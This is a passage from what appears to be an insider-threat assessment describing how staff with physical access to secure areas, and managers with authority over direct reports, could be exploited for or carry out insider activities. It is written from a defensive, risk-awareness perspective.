• Eavesdrop on confidential conversations, either directly or through concealed recording equipment, enabling the collection of sensitive verbal disclosures, strategic discussions, or authentication procedures.

Subjects in roles that involve frequent presence in sensitive locations—such as cleaning staff, security personnel, on-site engineers, or facility contractors—may operate outside the scope of standard digital access control and may not be fully visible to security teams focused on network activity.

Importantly, individuals with this kind of access are also potential targets for recruitment or coercion by external threat actors seeking insider assistance. The ability to physically access secure environments and passively gather high-value information makes them attractive assets in coordinated attempts to obtain or compromise protected information.

The risk is magnified in organizations lacking comprehensive physical access policies, surveillance, or cross-referencing of physical and digital access activity. When unmonitored, physical access can provide a silent pathway to support insider operations without leaving traditional digital footprints.

A subject with a people management role holds significant influence over their direct reports, which can be leveraged to conduct insider activities. As a leader, the subject is in a unique position to shape team dynamics, direct tasks, and control the flow of information within their team. This authority presents several risks, as the subject may:

• Influence team members to inadvertently or deliberately carry out tasks that contribute to the subject’s insider objectives. For instance, a manager might ask a subordinate to access or move sensitive data under the guise of a legitimate business need or direct them to work on projects that will inadvertently support a malicious agenda.
• Exert pressure on employees to bypass security protocols, disregard organizational policies, or perform actions that could compromise the organization’s integrity. For example, a manager might encourage their team to take shortcuts in security or compliance checks to meet deadlines or targets.
• Control access to sensitive information, either by virtue of the manager’s role or through the information shared within their team. A people manager may have direct visibility into highly sensitive internal communications, strategic plans, and confidential projects, which can be leveraged for malicious purposes.
• Isolate team members or limit their exposure to security training, potentially creating vulnerabilities within the team that could be exploited. By controlling the flow of information or limiting access to security awareness resources, a manager can enable an environment conducive to insider threats.
• Recruit or hire individuals within their team or external candidates who are susceptible to manipulation or willing to participate in insider activities. A subject in a management role could use their hiring influence to bring in new team members who align with or are manipulated into assisting in the subject's illicit plans, increasing the risk of coordinated insider actions.

In addition to these immediate risks, subjects in people management roles may also have the ability to recruit individuals from their team for insider activities, subtly influencing them to support illicit actions or help cover up their activities. By fostering a sense of loyalty or manipulating interpersonal relationships, the subject may encourage compliance with unethical actions, making it more difficult for others to detect or challenge the behavior.

Given the central role that managers play in shaping team culture and operational practices, the risks posed by a subject in a management position are compounded by their ability to both directly influence the behavior of others and manipulate processes for personal or malicious gain.